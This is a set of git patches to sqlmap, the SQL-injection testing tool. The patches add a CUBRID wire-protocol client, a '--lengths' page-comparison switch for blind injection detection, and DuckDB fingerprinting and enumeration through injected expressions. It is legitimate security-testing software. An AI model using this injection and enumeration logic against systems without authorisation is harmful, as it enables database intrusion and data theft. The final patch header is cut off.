data/xml/queries.xml | 6 +- extra/dbwire/README.md | 3 + extra/dbwire/cubrid.py | 442 +++++++++++++++++++++++++++++++ lib/core/dicts.py | 1 + lib/core/settings.py | 2 +- plugins/dbms/cubrid/connector.py | 2 +- 6 files changed, 451 insertions(+), 5 deletions(-) create mode 100644 extra/dbwire/cubrid.py diff --git a/data/xml/queries.xml b/data/xml/queries.xml index b619a7a8827..28f0526a6ee 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1509,7 +1509,7 @@ - + @@ -1532,8 +1532,8 @@ - - + + diff --git a/extra/dbwire/README.md b/extra/dbwire/README.md index cadafcf0055..cfd37dceba3 100644 --- a/extra/dbwire/README.md +++ b/extra/dbwire/README.md @@ -24,6 +24,7 @@ A wire protocol is shared across a whole family of products, so one client serve | `mysql.py` | MySQL client/server | MySQL, MariaDB, TiDB, Aurora (MySQL), Percona | | `tds.py` | TDS | Microsoft SQL Server, Sybase | | `firebird.py` | Firebird wire | Firebird 3 / 4 / 5 | +| `cubrid.py` | CUBRID CAS | CUBRID | | `clickhouse.py` | HTTP (TabSeparated) | ClickHouse and HTTP-compatible forks | | `monetdb.py` | MAPI | MonetDB | | `presto.py` | HTTP/REST (JSON) | Presto, Trino | @@ -59,6 +60,8 @@ parameter binding, prepared statements, bulk load/`COPY`, or TLS. Notable per-pr require TLS and are not supported here; the native driver or SQLAlchemy tier covers those. - **Firebird** - SRP-256 (and SRP) authentication with ChaCha20 or RC4 wire encryption, as required by default on Firebird 3 and later. Legacy (pre-SRP) authentication is not implemented. +- **CUBRID** - cleartext login over the CAS broker protocol. Large objects (BLOB/CLOB) are returned as + their raw locator handles rather than fetched inline. When a case is not supported, the client raises a clear `NotSupportedError` rather than returning wrong data, so `-d` cleanly falls through to another connector tier where possible. diff --git a/extra/dbwire/cubrid.py b/extra/dbwire/cubrid.py new file mode 100644 index 00000000000..ae6f95f5e7c --- /dev/null +++ b/extra/dbwire/cubrid.py @@ -0,0 +1,442 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org) +See the file 'LICENSE' for copying permission +""" + +""" +Minimal pure-python CUBRID client speaking the CAS (Common Application Server) broker protocol (stdlib +only, no CUBRID-Python/CCI). Does the 10-byte broker handshake (+ optional CAS-worker redirect), a +cleartext OPEN_DATABASE login, then prepare / execute / fetch with column-metadata decoding. Read-oriented +for sqlmap: execute() takes a fully-formed query string, binary (BIT/VARBIT/BLOB) values come back as bytes +(sqlmap hex-encodes them). Auto-commit is enabled so each statement is independent. +""" + +import datetime +import socket +import struct + +from extra.dbwire import DatabaseError +from extra.dbwire import DataError +from extra.dbwire import InterfaceError +from extra.dbwire import IntegrityError +from extra.dbwire import NotSupportedError +from extra.dbwire import OperationalError +from extra.dbwire import ProgrammingError + +_MAGIC = b"CUBRK" +_CLIENT_JDBC = 3 +_CAS_VERSION = 0x48 # PROTO_INDICATOR(0x40) | VERSION(8) + +# function codes (first raw byte of each request) +_FC_END_TRAN = 1 +_FC_PREPARE = 2 +_FC_EXECUTE = 3 +_FC_SET_DB_PARAMETER = 5 +_FC_CLOSE_REQ_HANDLE = 6 +_FC_FETCH = 8 +_FC_CON_CLOSE = 31 + +_TRAN_COMMIT = 1 +_TRAN_ROLLBACK = 2 +_PARAM_AUTO_COMMIT = 4 + +_OID_SIZE = 8 +_STMT_SELECT = 21 + +# CUBRID CCI_U_TYPE column type codes +_T_CHAR = 1 +_T_STRING = 2 +_T_NCHAR = 3 +_T_VARNCHAR = 4 +_T_BIT = 5 +_T_VARBIT = 6 +_T_NUMERIC = 7 +_T_INT = 8 +_T_SHORT = 9 +_T_MONETARY = 10 +_T_FLOAT = 11 +_T_DOUBLE = 12 +_T_DATE = 13 +_T_TIME = 14 +_T_TIMESTAMP = 15 +_T_OBJECT = 19 +_T_BIGINT = 21 +_T_DATETIME = 22 +_T_BLOB = 23 +_T_CLOB = 24 +_T_ENUM = 25 +_T_JSON = 34 +_STRING_TYPES = frozenset((_T_CHAR, _T_STRING, _T_NCHAR, _T_VARNCHAR, _T_ENUM, _T_JSON)) +_BINARY_TYPES = frozenset((_T_BIT, _T_VARBIT, _T_BLOB, _T_CLOB)) + +_MAX_MESSAGE_LENGTH = 0x40000000 # guard against a hostile/corrupt length + +class _Writer(object): + # builds a request payload (after the 8-byte header): raw function code + length-prefixed args + def __init__(self, fc): + self._buf = bytearray(struct.pack(">B", fc)) + + def raw_int(self, v): + self._buf += struct.pack(">i", v); return self + + def raw_byte(self, v): + self._buf += struct.pack(">B", v); return self + + def arg_int(self, v): + self._buf += struct.pack(">ii", 4, v); return self + + def arg_byte(self, v): + self._buf += struct.pack(">iB", 1, v); return self + + def arg_null(self): + self._buf += struct.pack(">i", 0); return self + + def arg_cache_time(self): + self._buf += struct.pack(">iii", 8, 0, 0); return self + + def arg_nts(self, s): # null-terminated string arg: [len(utf8)+1][utf8][00] + b = s.encode("utf-8") + self._buf += struct.pack(">i", len(b) + 1) + b + b"\x00"; return self + + def payload(self): + return bytes(self._buf) + +class _Reader(object): + def __init__(self, buf): + self._buf = buf + self._off = 0 + + def remaining(self): + return len(self._buf) - self._off + + def byte(self): + v = struct.unpack_from(">B", self._buf, self._off)[0]; self._off += 1; return v + + def short(self): + v = struct.unpack_from(">h", self._buf, self._off)[0]; self._off += 2; return v + + def int(self): + v = struct.unpack_from(">i", self._buf, self._off)[0]; self._off += 4; return v + + def long(self): + v = struct.unpack_from(">q", self._buf, self._off)[0]; self._off += 8; return v + + def float(self): + v = struct.unpack_from(">f", self._buf, self._off)[0]; self._off += 4; return v + + def double(self): + v = struct.unpack_from(">d", self._buf, self._off)[0]; self._off += 8; return v + + def raw(self, n): + v = self._buf[self._off:self._off + n]; self._off += n; return bytes(v) + + def skip(self, n): + self._off += n + + def nts(self, n): # n bytes, drop one trailing NUL if present + b = self.raw(n) + if b and bytearray(b)[-1:] == bytearray(b"\x00"): + b = b[:-1] + return b + +def _decode_text(raw): + try: + return raw.decode("utf-8") + except UnicodeDecodeError: + return raw # non-UTF-8 -> keep bytes (sqlmap hex-encodes), not lossy + +def _decode_value(reader, col_type, size): + if col_type in _STRING_TYPES: + return _decode_text(reader.nts(size)) + if col_type in (_T_BIT, _T_VARBIT): + return reader.raw(size) + if col_type == _T_NUMERIC: + return _decode_text(reader.nts(size)) # DECIMAL arrives as ASCII text + if col_type == _T_INT: + return str(reader.int()) + if col_type == _T_SHORT: + return str(reader.short()) + if col_type == _T_BIGINT: + return str(reader.long()) + if col_type == _T_FLOAT: + return repr(reader.float()) + if col_type in (_T_DOUBLE, _T_MONETARY): + return repr(reader.double()) + if col_type == _T_DATE: + y, mo, d = reader.short(), reader.short(), reader.short() + return "%s" % datetime.date(y, mo, d) + if col_type == _T_TIME: + h, mi, s = reader.short(), reader.short(), reader.short() + return "%s" % datetime.time(h, mi, s) + if col_type == _T_TIMESTAMP: + vals = [reader.short() for _ in range(6)] + return "%s" % datetime.datetime(*vals) + if col_type == _T_DATETIME: + y, mo, d, h, mi, s, ms = (reader.short() for _ in range(7)) + return "%s" % datetime.datetime(y, mo, d, h, mi, s, ms * 1000) + if col_type == _T_OBJECT: + page, slot, vol = reader.int(), reader.short(), reader.short() + return "OID:@%d|%d|%d" % (page, slot, vol) + return reader.raw(size) # BLOB/CLOB locator or unknown type -> raw bytes + +class _Column(object): + __slots__ = ("name", "type", "scale", "precision") + +class Cursor(object): + def __init__(self, connection): + self.connection = connection + self.description = None + self.rowcount = -1 + self._rows = [] + self._pos = 0 + + def execute(self, query, params=None): + if params is not None: + raise NotSupportedError("parameter binding is not supported; pass a fully-formed query string") + self.description, self.rowcount, self._rows, self._pos = None, -1, [], 0 + self.description, self._rows, self.rowcount = self.connection._query(query) + return self + + def fetchall(self): + retVal = self._rows[self._pos:] + self._pos = len(self._rows) + return retVal + + def fetchone(self): + if self._pos >= len(self._rows): + return None + retVal = self._rows[self._pos] + self._pos += 1 + return retVal + + def close(self): + self._rows = [] + +class Connection(object): + def __init__(self, host, port, user, password, database, timeout): + self._host = host + self._port = port + self._user = user + self._password = password + self._database = database + self._timeout = timeout + self._sock = None + self._cas_info = b"\x00\x00\x00\x00" + self._protocol_version = 8 + self._open() + + def cursor(self): + return Cursor(self) + + def commit(self): + self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_COMMIT)) + + def rollback(self): + self._call(_Writer(_FC_END_TRAN).arg_byte(_TRAN_ROLLBACK)) + + def close(self): + try: + if self._sock is not None: + self._send(_Writer(_FC_CON_CLOSE).payload()) + except Exception: + pass + self._safe_close() + + # ---- connection / framing ---- + + def _safe_close(self): + try: + if self._sock is not None: + self._sock.close() + except Exception: + pass + self._sock = None + + def _recvn(self, n): + buf = b"" + while len(buf) < n: + chunk = self._sock.recv(n - len(buf)) + if not chunk: + raise InterfaceError("connection closed by server") + buf += chunk + return buf + + def _open(self): + # broker handshake (may redirect to a dedicated CAS worker port), then cleartext OPEN_DATABASE login + try: + sock = socket.create_connection((self._host, self._port), timeout=self._timeout) + sock.settimeout(None) + sock.sendall(_MAGIC + struct.pack(">BB", _CLIENT_JDBC, _CAS_VERSION) + b"\x00\x00\x00") + self._sock = sock + (port,) = struct.unpack(">i", self._recvn(4)) + if port < 0: + raise OperationalError("CUBRID broker rejected the connection (status %d)" % port) + if port > 0: # redirected to a CAS worker: reconnect there, no second handshake + self._safe_close() + sock = socket.create_connection((self._host, port), timeout=self._timeout) + sock.settimeout(None) + self._sock = sock + except (socket.error, socket.timeout) as ex: + self._safe_close() + raise OperationalError("could not connect to '%s:%s' (%s)" % (self._host, self._port, ex)) + + login = self._fixed(self._database, 32) + self._fixed(self._user, 32) + self._fixed(self._password, 32) + login += b"\x00" * 532 # 512 extended-info + 20 reserved + self._sock.sendall(login) + reader = self._read_response() + reader.int() # response_code (>=0; errors already raised in _read_response) + broker = reader.raw(8) + self._protocol_version = bytearray(broker)[4] & 0x3f + # enable auto-commit so each statement is independent (avoids the CAS keep-connection handshake dance) + self._call(_Writer(_FC_SET_DB_PARAMETER).arg_int(_PARAM_AUTO_COMMIT).arg_int(1)) + + @staticmethod + def _fixed(value, length): + b = (value or "").encode("utf-8")[:length] + return b + b"\x00" * (length - len(b)) + + def _send(self, payload): + # frame: [payload_len(4)][cas_info(4)][payload] + self._sock.sendall(struct.pack(">i", len(payload)) + self._cas_info + payload) + + def _read_response(self): + (data_length,) = struct.unpack(">i", self._recvn(4)) + if data_length < 0 or data_length > _MAX_MESSAGE_LENGTH: + raise InterfaceError("invalid CAS response length (%d)" % data_length) + body = self._recvn(data_length + 4) # cas_info(4) + payload(data_length) + self._cas_info = body[:4] + reader = _Reader(body[4:]) + peek = struct.unpack_from(">i", body, 4)[0] + if peek < 0: # error response: response_code(<0), errno, message + reader.int() + errno = reader.int() + message = _decode_text(reader.nts(reader.remaining())) + if not isinstance(message, str): + message = "errno %d" % errno + self._raise(errno, "(remote) %s" % message.strip()) + return reader + + def _call(self, writer): + # reconnect transparently if the CAS worker was released after a previous auto-committed statement + if self._sock is None or bytearray(self._cas_info)[0] == 0: + self._open() + try: + self._send(writer.payload() if isinstance(writer, _Writer) else writer) + return self._read_response() + except (struct.error, IndexError, ValueError) as ex: + raise InterfaceError("malformed server response: %s" % ex) + + @staticmethod + def _raise(errno, message): + text = message.lower() + if any(k in text for k in ("unique", "duplicate", "foreign key", "constraint violat")): + raise IntegrityError(message) + if any(k in text for k in ("syntax", "unknown class", "does not exist", "not found", "before ' '")): + raise ProgrammingError(message) + if any(k in text for k in ("cast", "conversion", "overflow", "truncat")): + raise DataError(message) + raise ProgrammingError(message) + + # ---- query ---- + + def _query(self, query): + reader = self._call(_Writer(_FC_PREPARE).arg_nts(query).arg_byte(0).arg_byte(0)) + handle = reader.int() + reader.int() # result cache lifetime + stmt_type = reader.byte() + reader.int() # bind count + reader.byte() # is_updatable + columns = self._parse_columns(reader, reader.int()) + + exec_writer = (_Writer(_FC_EXECUTE).arg_int(handle).arg_byte(0).arg_int(0).arg_int(0) + .arg_null().arg_byte(1 if stmt_type == _STMT_SELECT else 0) + .arg_byte(0).arg_byte(1).arg_cache_time().arg_int(0)) + reader = self._call(exec_writer) + + total = reader.int() + reader.byte() # cache reusable + result_count = reader.int() + result_infos = [self._parse_result_info(reader) for _ in range(result_count)] + if self._protocol_version > 1: + reader.byte() # includes_column_info + if self._protocol_version > 4: + reader.int() # shard_id + + description, rows, rowcount = None, [], -1 + if stmt_type == _STMT_SELECT and columns: + description = [(c.name, c.type, None, None, c.precision, c.scale, None) for c in columns] + if reader.remaining() >= 8: + reader.int() # fetch code + tuple_count = reader.int() + rows = self._parse_rows(reader, tuple_count, columns) + rows += self._fetch_remaining(handle, columns, len(rows), total) + elif result_infos: + rowcount = result_infos[0] + self._call(_Writer(_FC_CLOSE_REQ_HANDLE).arg_int(handle)) + return description, rows, rowcount + + def _fetch_remaining(self, handle, columns, fetched, total): + rows = [] + while fetched + len(rows) < total: + reader = self._call(_Writer(_FC_FETCH).arg_int(handle) + .arg_int(fetched + len(rows) + 1).arg_int(100).arg_byte(0).arg_int(0)) + reader.int() # response code (>=0) + tuple_count = reader.int() + if tuple_count <= 0: + break + rows += self._parse_rows(reader, tuple_count, columns) + return rows + + def _parse_result_info(self, reader): + reader.byte() # stmt type + count = reader.int() # affected rows + reader.raw(_OID_SIZE) + reader.int(); reader.int() # cache time sec/usec + return count + + def _parse_columns(self, reader, count): + columns = [] + for _ in range(count): + col = _Column() + legacy = reader.byte() + col.type = reader.byte() if legacy & 0x80 else legacy + col.scale = reader.short() + col.precision = reader.int() + col.name = _to_str(reader.nts(reader.int())) + reader.nts(reader.int()) # real name + reader.nts(reader.int()) # table name + reader.byte() # is_nullable + reader.nts(reader.int()) # default value + reader.skip(7) # auto_inc/unique/primary/rev_index/rev_unique/foreign/shared + columns.append(col) + return columns + + def _parse_rows(self, reader, tuple_count, columns): + rows = [] + for _ in range(tuple_count): + reader.int() # row index + reader.skip(_OID_SIZE) + row = [] + for col in columns: + size = reader.int() + if size <= 0: + row.append(None) + else: + row.append(_decode_value(reader, col.type, size)) + rows.append(tuple(row)) + return rows + +def _to_str(b): + v = _decode_text(b) + return v if isinstance(v, str) else v.decode("latin-1") + +def connect(host=None, port=33000, user=None, password=None, database=None, connect_timeout=None, **kwargs): + try: + return Connection(host or "localhost", int(port or 33000), user or "public", + password or "", database or "", connect_timeout) + except (DatabaseError, InterfaceError): + raise + except Exception as ex: + raise OperationalError("CUBRID connection failed (%s)" % ex) diff --git a/lib/core/dicts.py b/lib/core/dicts.py index 49a75f86b98..2387a477270 100644 --- a/lib/core/dicts.py +++ b/lib/core/dicts.py @@ -272,6 +272,7 @@ DBMS.PRESTO: "presto", DBMS.FIREBIRD: "firebird", DBMS.VERTICA: "postgres", # Vertica speaks a PostgreSQL-v3-derived wire protocol (trust/cleartext/md5 auth) + DBMS.CUBRID: "cubrid", } # Reference: https://blog.jooq.org/tag/sysibm-sysdummy1/ diff --git a/lib/core/settings.py b/lib/core/settings.py index 75754d33509..6e30f5b2a3b 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.90" +VERSION = "1.10.7.91" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py index cc17cd8aa1a..cd869ec20a5 100644 --- a/plugins/dbms/cubrid/connector.py +++ b/plugins/dbms/cubrid/connector.py @@ -33,7 +33,7 @@ def connect(self): # CUBRIDdb.connect takes a positional URL 'CUBRID:host:port:db:::' then user/password positionally # (it does not accept hostname/username/database keyword args, which raised a TypeError before) self.connector = CUBRIDdb.connect("CUBRID:%s:%s:%s:::" % (self.hostname, self.port, self.db), str(self.user), str(self.password)) - except Exception as ex: + except CUBRIDdb.Error as ex: raise SqlmapConnectionException(getSafeExString(ex)) self.initCursor() From d69ae9132539d50505a8db2c1486e68980200ddb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 13:42:42 +0200 Subject: [PATCH 748/853] Minor patch --- data/xml/queries.xml | 4 ++-- lib/core/settings.py | 2 +- 2 files changed, 3 insertions(+), 3 deletions(-) diff --git a/data/xml/queries.xml b/data/xml/queries.xml index 28f0526a6ee..8313e94dfbf 100644 --- a/data/xml/queries.xml +++ b/data/xml/queries.xml @@ -1548,8 +1548,8 @@ - - + + diff --git a/lib/core/settings.py b/lib/core/settings.py index 6e30f5b2a3b..42e82a9b555 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.91" +VERSION = "1.10.7.92" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) From 16cd9425ae75a307f1012260eaf55b3de86e162e Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 14:42:34 +0200 Subject: [PATCH 749/853] Introducing detection switch --lengths --- lib/controller/checks.py | 15 +++++++++++---- lib/core/common.py | 1 + lib/core/option.py | 1 + lib/core/settings.py | 2 +- lib/parse/cmdline.py | 3 +++ lib/request/comparison.py | 4 ++++ 6 files changed, 21 insertions(+), 5 deletions(-) diff --git a/lib/controller/checks.py b/lib/controller/checks.py index d190d47820f..527a52e3f1e 100644 --- a/lib/controller/checks.py +++ b/lib/controller/checks.py @@ -523,6 +523,7 @@ def genCmpPayload(): # Useful to set kb.matchRatio at first based on False response content kb.matchRatio = None + kb.trueLength = None kb.negativeLogic = (where == PAYLOAD.WHERE.NEGATIVE) suggestion = None Request.queryPage(genCmpPayload(), place, raise404=False) @@ -530,7 +531,7 @@ def genCmpPayload(): falseRawResponse = "%s%s" % (falseHeaders, falsePage) # Checking if there is difference between current FALSE, original and heuristics page (i.e. not used parameter) - if not any((kb.negativeLogic, conf.string, conf.notString, conf.code)): + if not any((kb.negativeLogic, conf.string, conf.notString, conf.code, conf.lengths)): try: ratio = 1.0 seqMatcher = getCurrentThreadData().seqMatcher @@ -550,6 +551,10 @@ def genCmpPayload(): truePage, trueHeaders, trueCode = threadData.lastComparisonPage or "", threadData.lastComparisonHeaders, threadData.lastComparisonCode trueRawResponse = "%s%s" % (trueHeaders, truePage) + if conf.lengths: + kb.trueLength = len(truePage) + trueResult = True + if trueResult and not (truePage == falsePage and not any((kb.nullConnection, conf.code))): # Perform the test's False request falseResult = Request.queryPage(genCmpPayload(), place, raise404=False) @@ -563,7 +568,7 @@ def genCmpPayload(): errorResult = Request.queryPage(errorPayload, place, raise404=False) if errorResult: continue - elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, kb.nullConnection)): + elif kb.heuristicPage and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, kb.nullConnection)): _ = comparison(kb.heuristicPage, None, getRatioValue=True) if (_ or 0) > (kb.matchRatio or 0): kb.matchRatio = _ @@ -575,7 +580,7 @@ def genCmpPayload(): injectable = True - elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): + elif (threadData.lastComparisonRatio or 0) > UPPER_RATIO_BOUND and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)): originalSet = set(getFilteredPageContent(kb.pageTemplate, True, "\n").split("\n")) trueSet = set(getFilteredPageContent(truePage, True, "\n").split("\n")) falseSet = set(getFilteredPageContent(falsePage, True, "\n").split("\n")) @@ -613,7 +618,7 @@ def genCmpPayload(): injectable = False continue - if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.titles, kb.nullConnection)): + if kb.pageStable and not any((conf.string, conf.notString, conf.regexp, conf.code, conf.lengths, conf.titles, kb.nullConnection)): if all((falseCode, trueCode)) and falseCode != trueCode and trueCode != kb.heuristicCode: suggestion = conf.code = trueCode @@ -805,12 +810,14 @@ def genCmpPayload(): injection.data[stype].comment = comment injection.data[stype].templatePayload = templatePayload injection.data[stype].matchRatio = kb.matchRatio + injection.data[stype].trueLength = kb.trueLength injection.data[stype].trueCode = trueCode injection.data[stype].falseCode = falseCode injection.conf.textOnly = conf.textOnly injection.conf.titles = conf.titles injection.conf.code = conf.code + injection.conf.lengths = conf.lengths injection.conf.string = conf.string injection.conf.notString = conf.notString injection.conf.regexp = conf.regexp diff --git a/lib/core/common.py b/lib/core/common.py index 66e4140ed92..65d702c339a 100644 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -3746,6 +3746,7 @@ def initTechnique(technique=None): if data: kb.pageTemplate, kb.errorIsNone = getPageTemplate(data.templatePayload, kb.injection.place) kb.matchRatio = data.matchRatio + kb.trueLength = data.trueLength kb.negativeLogic = (technique == PAYLOAD.TECHNIQUE.BOOLEAN) and (data.where == PAYLOAD.WHERE.NEGATIVE) # Restoring stored conf options diff --git a/lib/core/option.py b/lib/core/option.py index d61134aa5ab..c808d2b7b71 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -2264,6 +2264,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.matchRatio = None kb.maxConnectionsFlag = False + kb.trueLength = None kb.mergeCookies = None kb.multiThreadMode = False kb.multipleCtrlC = False diff --git a/lib/core/settings.py b/lib/core/settings.py index 42e82a9b555..ba4a2e6f53f 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.92" +VERSION = "1.10.7.93" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index c1e0f9ed9b7..c30520f6a06 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -406,6 +406,9 @@ def cmdLineParser(argv=None): detection.add_argument("--code", dest="code", type=int, help="HTTP code to match when query is evaluated to True") + detection.add_argument("--lengths", dest="lengths", action="store_true", + help="Compare pages based only on their content length") + detection.add_argument("--smart", dest="smart", action="store_true", help="Perform thorough tests only if positive heuristic(s)") diff --git a/lib/request/comparison.py b/lib/request/comparison.py index 30beafabc70..89133835362 100644 --- a/lib/request/comparison.py +++ b/lib/request/comparison.py @@ -114,6 +114,10 @@ def _comparison(page, headers, code, getRatioValue, pageLength): if conf.code: return conf.code == code + # Response content length to match when the query is True + if conf.lengths: + return len(page or "") == kb.trueLength + seqMatcher = threadData.seqMatcher seqMatcher.set_seq1(kb.pageTemplate) From 9331ac0f2c4cec049c444ba60968f6392233195d Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: Sun, 12 Jul 2026 16:59:41 +0200 Subject: [PATCH 750/853] Adding support for DuckDB --- lib/core/enums.py | 1 + lib/core/settings.py | 4 +- plugins/dbms/postgresql/enumeration.py | 56 ++++++++++++++++++++++++++ plugins/dbms/postgresql/fingerprint.py | 5 ++- 4 files changed, 63 insertions(+), 3 deletions(-) diff --git a/lib/core/enums.py b/lib/core/enums.py index 0e4798e3388..e74f9299749 100644 --- a/lib/core/enums.py +++ b/lib/core/enums.py @@ -117,6 +117,7 @@ class FORK(object): DORIS = "Doris" STARROCKS = "StarRocks" TRINO = "Trino" + DUCKDB = "DuckDB" class CUSTOM_LOGGING(object): PAYLOAD = 9 diff --git a/lib/core/settings.py b/lib/core/settings.py index ba4a2e6f53f..3ab6bdcbe4a 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -20,7 +20,7 @@ from thirdparty import six # sqlmap version (...) -VERSION = "1.10.7.93" +VERSION = "1.10.7.94" TYPE = "dev" if VERSION.count('.') > 2 and VERSION.split('.')[-1] != '0' else "stable" TYPE_COLORS = {"dev": 33, "stable": 90, "pip": 34} VERSION_STRING = "sqlmap/%s#%s" % ('.'.join(VERSION.split('.')[:-1]) if VERSION.count('.') > 2 and VERSION.split('.')[-1] == '0' else VERSION, TYPE) @@ -368,7 +368,7 @@ # Note: () + () MSSQL_ALIASES = ("microsoft sql server", "mssqlserver", "mssql", "ms") MYSQL_ALIASES = ("mysql", "my") + ("mariadb", "maria", "memsql", "tidb", "percona", "drizzle", "doris", "starrocks") -PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss") +PGSQL_ALIASES = ("postgresql", "postgres", "pgsql", "psql", "pg") + ("cockroach", "cockroachdb", "amazon redshift", "redshift", "greenplum", "yellowbrick", "enterprisedb", "yugabyte", "yugabytedb", "opengauss", "duckdb") ORACLE_ALIASES = ("oracle", "orcl", "ora", "or", "dm8") SQLITE_ALIASES = ("sqlite", "sqlite3") ACCESS_ALIASES = ("microsoft access", "msaccess", "access", "jet") diff --git a/plugins/dbms/postgresql/enumeration.py b/plugins/dbms/postgresql/enumeration.py index 181384becbc..e52208d67af 100644 --- a/plugins/dbms/postgresql/enumeration.py +++ b/plugins/dbms/postgresql/enumeration.py @@ -5,7 +5,11 @@ See the file 'LICENSE' for copying permission """ +from lib.core.common import Backend from lib.core.data import logger +from lib.core.data import queries +from lib.core.enums import DBMS +from lib.core.enums import FORK from plugins.generic.enumeration import Enumeration as GenericEnumeration @@ -13,3 +17,55 @@ class Enumeration(GenericEnumeration): def getHostname(self): warnMsg = "on PostgreSQL it is not possible to enumerate the hostname" logger.warning(warnMsg) + + def getColumns(self, *args, **kwargs): + if not Backend.isFork(FORK.DUCKDB): + return GenericEnumeration.getColumns(self, *args, **kwargs) + + # DuckDB (PostgreSQL fork) exposes column metadata through information_schema instead of the + # pg_catalog tables (pg_attribute yields no rows), so swap those queries in for the generic routine + columns = queries[DBMS.PGSQL].columns + backup = (columns.inband.query, columns.inband.condition, columns.blind.query, columns.blind.query2, columns.blind.count, columns.blind.condition) + + columns.inband.query = "SELECT column_name,data_type FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" + columns.blind.query = "SELECT column_name FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s' ORDER BY column_name" + columns.blind.query2 = "SELECT data_type FROM information_schema.columns WHERE table_name='%s' AND column_name='%s' AND table_schema='%s'" + columns.blind.count = "SELECT COUNT(column_name) FROM information_schema.columns WHERE table_name='%s' AND table_schema='%s'" + columns.inband.condition = columns.blind.condition = "column_name" + + try: + return GenericEnumeration.getColumns(self, *args, **kwargs) + finally: + columns.inband.query, columns.inband.condition, columns.blind.query, columns.blind.query2, columns.blind.count, columns.blind.condition = backup + + def getUsers(self): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the users" + logger.warning(warnMsg) + return [] + + return GenericEnumeration.getUsers(self) + + def getPasswordHashes(self): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user password hashes" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getPasswordHashes(self) + + def getPrivileges(self, query2=False): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user privileges" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getPrivileges(self, query2) + + def getRoles(self, query2=False): + if Backend.isFork(FORK.DUCKDB): + warnMsg = "on DuckDB it is not possible to enumerate the user roles" + logger.warning(warnMsg) + return {} + + return GenericEnumeration.getRoles(self, query2) diff --git a/plugins/dbms/postgresql/fingerprint.py b/plugins/dbms/postgresql/fingerprint.py index 20eed02a917..3bcf8a51073 100644 --- a/plugins/dbms/postgresql/fingerprint.py +++ b/plugins/dbms/postgresql/fingerprint.py @@ -45,6 +45,8 @@ def getFingerprint(self): fork = FORK.OPENGAUSS elif inject.checkBooleanExpression("AURORA_VERSION() LIKE '%'"): # Reference: https://aws.amazon.com/premiumsupport/knowledge-center/aurora-version-number/ fork = FORK.AURORA + elif inject.checkBooleanExpression("[1,2,3][2]=2"): # NOTE: bare list literal with 1-based indexing is DuckDB-only (invalid syntax on PostgreSQL) + fork = FORK.DUCKDB else: fork = "" @@ -109,7 +111,8 @@ def checkDbms(self): logger.info(infoMsg) # NOTE: Vertica works too without the CONVERT_TO() - result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") + # NOTE: DuckDB (PostgreSQL dialect fork) lacks CONVERT_TO()/QUOTE_IDENT(), so it is accepted via its list-literal instead + result = inject.checkBooleanExpression("CONVERT_TO('[RANDSTR]', QUOTE_IDENT(NULL)) IS NULL") or inject.checkBooleanExpression("[1,2,3][2]=2") if result: infoMsg = "confirming %s" % DBMS.PGSQL From b1ff8a31d80b2d73e1d2fff55df3f2002927f4fb Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Miroslav=20=C5=A0tampar?= Date: 